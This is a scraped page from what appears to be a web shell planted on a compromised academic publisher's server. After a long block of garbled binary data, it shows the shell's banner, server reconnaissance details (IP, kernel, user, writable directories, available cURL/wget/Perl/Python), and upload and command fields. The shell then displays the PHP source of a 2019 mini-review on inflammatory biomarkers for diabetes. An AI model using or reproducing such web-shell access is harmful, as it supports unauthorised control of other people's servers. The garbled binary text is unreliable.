�a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&�� �dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD� A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR �D�fV�9��{�8g�������n�h�(P"��6�[�D���< E�����~0<@�`�G�6����Hг�cc�� �c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^� DW�0�ꊩ���G�#��Q�nL3��c���������/��x ��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D� j����۳� l���^�k�h׽����� ��#� iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0    !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9 �E�ߴ�w�S#d���Ix��u��:��Hp��9E!�� V 2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C���� ����v-tx����I�sם�Ę�q��Eb�+P\ :>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)� "��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1ŠK&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h� X��5��<�eޘ>G���-�}�دB�ޟ� ��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry� D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_� ؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ� V 77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1��� ��]�[��)�'������ :�֪�W��FC����� �B9،!?���]��V��A�Վ�M��b�w��G F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54 �p��.w7� �� ��&������ξxGHp� B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3     !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p��� �����Kv�D��J8�Fҽ� �f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk���� ������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ij<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3 ��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a��� �m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B� K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E T�lrTf6Q|R�h:��[K�� �z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H �)*ģK~Xhչ0��4?�0��� �E<���}3���#���u�?�� ��|g�S�6ꊤ�|�I#Hڛ� �ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a 8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F ����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��; �#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$�� �AjfG|~�9F ���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k�� 403WebShell
403Webshell
Server IP : 132.148.112.237  /  Your IP : 216.73.216.191
Web Server : Apache
System : Linux p3plmcpnl497166.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : m483e053zf9r ( 10082050)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/MJD/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/m483e053zf9r/public_html/madridge.org/journals-admin/uploads/fulltext/MJD//mjd-1000112.php
<?php
$extpath="../";
include 'includes/jrnheader.php';
include 'includes/jrnleftfulltext-panel.php';
//$imgpath="";
?>
<div class="fultextmenu" id="fultext-menu">
	<div class="hidden-xs">
		<div class="affix affixside-menu" data-spy="affix" data-offset-top="1100">
			<h3 class="s-property-title">Full Text Contents</h4>
				<ul class="list-unstyled fulltext-ul">
					<li><a href="#articleinfo">Article Info</a></li>
					<li><a href="#abstract">Abstract</a></li>
					<li><a href="#intro">Introduction</a></li>
					<li><a href="#review">Literature Review</a></li>
					<li><a href="#conclusion">Conclusion</a>
					<li><a href="#references">References</a></li>				
				</ul>
		</div>
	</div>
</div>
</div><!--end of leftpanel col-md-3-->
<div class="col-md-9 padding-top-15">
	
		<ul class="nav nav-tabs" style="border-bottom: 0px;">
			<li class="active"><a href="#articleinfo">Article Info</a></li>
			<li><a href="#abstract">Abstract</a></li>
			<li><a href="#intro">Introduction</a></li>
			<li><a href="#review">Literature Review</a></li>
			<li><a href="#conclusion">Conclusion</a>
			<li><a href="#references">References</a></li>							
		</ul>
	
        <div class="row">                        
            <div class="col-md-12">
                <div class="articledetails article-header clearfix">
                    <p class="art-type" id="articleinfo">Mini-Review Article</p>
		    <p class="art-title">An Overview on Inflammatory Biomarkers for Diabetes Mellitus</p>
		    <p class="art-author"><?php $authors="Ritika Gupta<sup>1*</sup> and Shalini Soni<sup>2</sup>"; echo (stristr($authors,$coauthor))?str_replace($coauthor,"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>",$authors):$authors; ?></p>
<p class="art-affl"><sup>1</sup>Department of Biotechnology, MIET Meerut, Uttar Pradesh, India<br/>
<sup>2</sup>Department of Botany, SILB Solan, Himachal Pradesh, India</p>
		    <p class="art-aff"><b>*Corresponding author: <?php $corresponding_author="Ritika Gupta"; echo ($coauthor!="" && $coauthor==$corresponding_author)?"<a href='".$extpath."authors/".$courl."' target='_blank'>".$coauthor."</a>":$corresponding_author;?></b>,
Department of Biotechnology,
MIET Meerut,
Uttar Pradesh,
India,
E-mail: <a href="mailto:guptaritika.27@rediffmail.com">guptaritika.27@rediffmail.com</a></p>
<p class="art-aff"><b>Received:</b>   December 17, 2018
<b>Accepted:</b>    January 2, 2019
<b>Published:</b>  January 9, 2019</p>
<p class="art-aff"><b>Citation:</b> 
  Gupta R, Soni S. An Overview on Inflammatory Biomarkers for Diabetes Mellitus. Madridge J Diabetes. 2019; 3(1): 63-65.doi: <a href="https://doi.org/10.18689/mjd-1000112">10.18689/mjd-1000112</a></p>
<p class="art-aff"><b>Copyright:</b> &copy;   2019 The Author(s). This work is licensed under a Creative Commons Attribution 4.0 International License, which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited.</p>
<p><a href="<?php echo $extpath;?><?php echo $jres['journal_link'];?>/mjd-1000112.pdf" class="btn btn-danger pull-right" target="_blank">Download PDF</a></p>
</div>
<div class="articlecontent">
<p class="art-subhead" id="abstract">Abstract</p>
<p class="art-para">Diabetes mellitus is a very complex disease affecting almost every tissue and organ
system, with heterogeneous etiology characterized by insulin resistance. Obesity,
sedentary lifestyle and unhealthy diet are well-known risk factors for development of
type 2 diabetes mellitus (T2DM). Understanding pathological mechanisms is imperative
to prevent and treat the disease. Therefore, identification of specific biomarkers for
T2DM is of great interest. Biomarkers are the biological molecules which play a vital role
in conducting clinical trials, for screening and risk assessment before diagnosis and are
helpful for monitoring recurrent diseases. Developing and characterizing an effective
biomarker is arduous. To know the root cause and the effect in the pathogenesis of
disease are some of the major challenges in the field of biomarkers. Several approaches
including proteomics, genomics, metabolomics and transcriptomics are being applied
for early detection of T2DM and further devising new therapies to treat it. The emphasis
of the present review is to identify non-genetic and genetic biomarkers through the
application of novel methodologies that would predict hyperglycemia and incident
T2DM.</p>

<p class="art-para"><b>Keywords:</b>  Diabetes Mellitus; Biomarkers; Hyperglycemia; T2DM; Obesity; Insulin.</p>

<p class="art-subhead" id="intro">Introduction</p>
<p class="art-para"><b>Diabetes mellitus</b><br/>
Diabetes Mellitus (DM) is a complex multi factorial metabolic disorder with disordered
metabolism and hyperglycemia prevailing world wide. Some risk factors contributing to
DM are smoking, alcohol, obesity, diet, overweight, vascular or cardiovascular disease,
level of physical activity, hormones and some medical treatments. Exercise and diet can
improve the health habits further reducing the risk of developing diabetes. Type 1 and
type 2 are the two most important types of DM (figure 1). Type 1 DM commonly referred
as juvenile diabetes and known as insulin dependent diabetes mellitus (IDDM) in which
pancreas is unable to produce insulin due to autoimmune &#946;-cell destruction. Type 2 DM,
an adult-onset diabetes is known as non insulin dependent diabetes mellitus (NIDDM) in
which body tissues and cells are unable to respond properly to the action of insulin <a href="#1" id="ref1">[1]</a>.
Genetic and metabolic abnormalities are some other abnormalities produced in response
to insulin action and secretion. Type 2 DM usually occurs in adulthood and develops
more with the age and sometimes it is also observed in children and some adolescents
having obesity <a href="#2" id="ref2">[2]</a>. Over the past two decades, worldwide prevalence of diabetes mellitus
has risen and is considered as one of the most widely occurring human ailments.
According to survey led by some health agencies like World Health Organization (WHO)
and International Diabetes Federation (IDF), diabetes becomes an epidemic which is not
controlled and is sixth leading cause of human mortality and morbidity globally.</p>

<div class="art-img">
<img src="<?php echo $imgpath;?>images/mjd-112-f001.gif" class="img-responsive center-block"/></div>

<p class="art-para"><b>Biomarkers</b><br/>
Biomarker is a substance which is used as an indicator for
pathological state of disease and a characteristic that is estimated
and evaluated for normal, pathological, and pharmacologic
responses to a therapeutic intervention. In 21<sup>st</sup> century, they
have gained tremendous scientific momentum. They are the
biological molecule found in blood, other bodily fluids, or tissue
which may have any clinical value and can be the component of
interest in the practice of medicine and represents a sign of a
normal or abnormal process or of a condition or disease. A
biomarker may be used to see how well the body responds to a
treatment for a disease or condition. Moreover, it provides high-throughput platforms, adequate analytic performance, carries
therapeutic implications and assesses progression thus
improving the treatment strategy. Biomarkers may reflect the
presence and severity of hyperglycemia (i.e. diabetes itself), or
the presence and severity of the vascular complications of
diabetes. Biomarkers can play an imperative role in laboratory
for drug discovery, diagnosing, classification, and grading the
severity of disease in both laboratory and clinical settings. They
have a potential for understanding the relationship between
disease and health. Some of the diseases are as of protein
biomarkers are, for example, cancer, diabetes, and cardiovascular
and neurological diseases. The protein biomarkers are very
useful for diagnosis and prognosis of the asymptomatic phase
before the development of acute and chronic diseases such as
diabetes, various forms of cancer, and other syndromes.</p>
<p class="art-para"><b>Inflammatory biomarkers for diabetes</b><br/>
Biomarkers for monitoring diabetes and associated micro and macro vascular complications can be broadly classified as
follows: genomic (single-nucleotide polymorphisms), transcriptomic
(mRNA), proteomic (proteins and glycoproteins), metabolites
(lipids, sugars, amino acids), markers of subclinical disease
(arterial function, aortic plaque burden) and metabolic end-products (urinary proteins). Further research is needed to
identify novel biomarkers for progression monitoring and for
incremental improvement in T2DM diagnosis. In each stage
of T2DM management, biomarkers play an imperative role.
Plasma glucose (A<sub>1C</sub>) is one of the most common biochemical
parameters or biomarkers based on which T2DM diagnosis is
done (figure 2). Type 1 diabetes (T1D) is caused by T-cell
abnormalities further leading to the destruction of pancreatic
islets while in type 2 diabetes, activation of monocytes and
inflammation are responsible for insulin resistance resulting
in the loss of insulin secretory function by islet cells. Various
studies have suggested the co-relation between inflammation
and diabetes demonstrating that inflammatory markers can be used to refine T2DM risk prediction. Cytokines are those
groups of proteins which act as immune mediators and
regulators and are expressed by several cell types. Insulin
resistance has been associated with decreased production of
anti-inflammatory mediators (IL-4 and IL-10) and abnormal
secretion of pro inflammatory cytokines (tumor necrosis
factor-&#945; (TNF-&#945;) and Interleukin-6 (IL-6)) (figure 3). IL-1 could
promote beta-cell destruction and alter insulin sensitivity.
Interleukin-6 (IL-6) is a pleiotropic pro inflammatory cytokine,
induces the development of insulin resistance by inducing the
expression of SOCS-3 leading to the impairment of
phosphorylation of insulin receptor and insulin receptor
substrate-1. CRP (C-reactive protein) is sensitive and systemic
biomarker for inflammation and is synthesized by liver. Recent
reports have suggested that IL-6 and CRP are associated with
T2DM.</p>

<div class="art-img">
<img src="<?php echo $imgpath;?>images/mjd-112-f002.gif" class="img-responsive center-block"/></div>
<div class="art-img">
<img src="<?php echo $imgpath;?>images/mjd-112-f003.gif" class="img-responsive center-block"/></div>



<p class="art-subhead" id="review">Literature Review</p>
<p class="art-para">Leinonen et al. <a href="#4" id="ref4">[4]</a> reported urinary 8-hydroxy-2'-
deoxyguanosine (8-OHdG) as a sensitive biomarker in NIDDM
patients. They investigated oxidative DNA damage and
oxidative stress by urinary 8-OHdG assessments in the urine
samples. They further determined increased level of 8-OHdG
in NIDDM patients when compared to non-diabetic control subjects by screening 24 hr urinary excretion <a href="#4" id="ref4">[4]</a>. Tso et al. <a href="#5" id="ref5">[5]</a>
investigated serum adipocyte fatty acid-binding protein
(A-FABP) levels to predict the development of T2DM. They
reported that serum A-FABP levels were higher in glucose
intolerant patients. Lui et al. 2013 systemically reviewed the
association of IL-6 and CRP in diabetes mellitus by conducting
meta-analysis. They explored numerous electronic databases
and a systematic literature search was performed. They further
demonstrated that chronic inflammation is a predictor of type
2 diabetes development. Ghosh P et al. <a href="#6" id="ref6">[6]</a> established an
enzyme linked immune sorbent assay (ELISA) to measure
serum/plasma glycated human CD59 and evaluated its
potential as a diabetes biomarker. They conducted a clinical
trial and found that GCD59 was significantly higher in
individuals with than in individual without diabetes <a href="#6" id="ref6">[6]</a>. Takada
T et al. <a href="#7" id="ref7">[7]</a> reported increased level of an up regulated protein
known as monomeric &#945;<sub>2</sub>-macroglobulin in diabetic patients.
They purified the protein through highly efficient strategy
from diabetic and control (non-diabetic) serum samples. SDSPAGE was used to fractionate the extracted sera and further
the isolated protein bands were analyzed by mass spectrometry.
They concluded that monomeric &#945;<sub>2</sub>-macroglobulin can be
used as a potential biomarker in many diabetic subjects <a href="#7" id="ref7">[7]</a>.
Molnos et al. <a href="#8" id="ref8">[8]</a> showed pair wise metabolite (valine to
phosphatidylcholine acyl-alkyl C32:2) ratio to be associated
with an increased risk of type 2 diabetes. They conducted a
clinical trial on 130 healthy members and examined the
association of metabolite levels on those patients. They observed
dynamic changes in metabolite levels after arginine, glucose
and glucagon-like peptide-1 (GLP-1) stimulation <a href="#8" id="ref8">[8]</a>.</p>

<p class="art-subhead" id="conclusion">Conclusion</p>
<p class="art-para">Diabetes is a global endemic with rapidly increasing
prevalence in both developing and developed countries.T2DM
is a chronic, progressive disease that traditionally is characterized
by insulin resistance. Currently, the diagnosis and progression
of diabetes rely predominately on glycemic indices. Biomarkers
play an integral part in conducting clinical trials and treating
patients. However, much research, prospectively planned and
with clear treatment implications, is needed before wear rive at
truly "personalized" diabetes care.</p>


<p class="art-subhead" id="references">References</p>
<ol>

<li class="ref"><div id="1">Lyons TJ, Basu A. <a href="http://europepmc.org/abstract/med/22424433" target="_blank">Biomarkers in Diabetes: Hemoglobin A1c, Vascular and
Tissue Markers.</a> <i>Transl Res</i>. 2012; 159(4): 303-312. doi:10.1016/j.
trsl.2012.01.009&nbsp;&nbsp;&nbsp;<a href="#ref1"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="2">Caveney EJ, Cohen OJ. <a href="https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3045220/" target="_blank">Diabetes and Biomarkers.</a> <i>J Diabetes Sci Technol</i>.
2011; 5(1): 192-197. doi: 10.1177/193229681100500127&nbsp;&nbsp;&nbsp;<a href="#ref2"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="3">Scirica BM. <a href="https://www.ncbi.nlm.nih.gov/pubmed/28062618" target="_blank">Use of Biomarkers in Predicting the Onset, Monitoring the
Progression, and Risk Stratification for Patients with Type 2 Diabetes Mellitus.</a>
<i>Clinical Chemistry</i>. 2017; 63(1): 186-195. doi: 10.1373/clinchem.2016.255539&nbsp;&nbsp;&nbsp;<a href="#ref3"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="4"> Leinonen J, Lehtim&auml;ki T, Toyokuni S, et al. <a href="https://www.ncbi.nlm.nih.gov/pubmed/9395094" target="_blank">New biomarker evidence of
oxidative DNA damage in patients with non-insulin-dependent diabetes
mellitus.</a> <i>FEBS Letters</i>. 1997; 417(1): 150-152.&nbsp;&nbsp;&nbsp;<a href="#ref4"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="5"> Tso AW, Xu A, Sham PC, et al. <a href="https://www.ncbi.nlm.nih.gov/pubmed/17620449" target="_blank">Serum adipocyte fatty acid binding protein
as a new biomarker predicting the development of type 2 diabetes: a
10-year prospective study in Chinese cohort.</a> <i>Diabetes Care</i>. 2007;
30(10): 2667-2672. doi: 10.2337/dc07-0413&nbsp;&nbsp;&nbsp;<a href="#ref5"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="6"> Ghosh P, Sahoo R, Vaidya A, et al. <a href="https://www.ncbi.nlm.nih.gov/pubmed/23670858" target="_blank">A specific and sensitive assay for
blood levels of glycated CD59: A novel biomarker for diabetes.</a> <i>Am J Hematol</i>. 2013; 88(8): 670-676. doi: 10.1002/ajh.23478&nbsp;&nbsp;&nbsp;<a href="#ref6"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="7">Takada T, Kodera Y, Matsubara M, et al.<a href="https://www.ncbi.nlm.nih.gov/pubmed/23535567" target="_blank"> Serum monomeric &#945;<sub>2</sub>-macroglobulin as a clinical biomarker in diabetes.</a> <i>Atherosclerosis</i>. 2013;
228(1): 270-276. doi: 10.1016/j.atherosclerosis.2013.02.035&nbsp;&nbsp;&nbsp;<a href="#ref7"><i class="fa fa-level-up"></i></a></div></li>
<li class="ref"><div id="8">Molnos S, Wahl S, Haid M, et al. <a href="https://www.ncbi.nlm.nih.gov/pubmed/28936587" target="_blank">Metabolite ratios as potential biomarkers
for type 2 diabetes: a DIRECT study. </a><i>Diabetologia</i>. 2018; 61(1): 117-129.
doi: 10.1007/s00125-017-4436-7&nbsp;&nbsp;&nbsp;<a href="#ref8"><i class="fa fa-level-up"></i></a></div></li>

</ol>
</div>
            </div>
        </div>
    </section>
</div></div>
</div><!--end of row-->
</div><!--end of container-body-->
</div><!--end of content-area-->
<?php include 'includes/jrnfooter.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit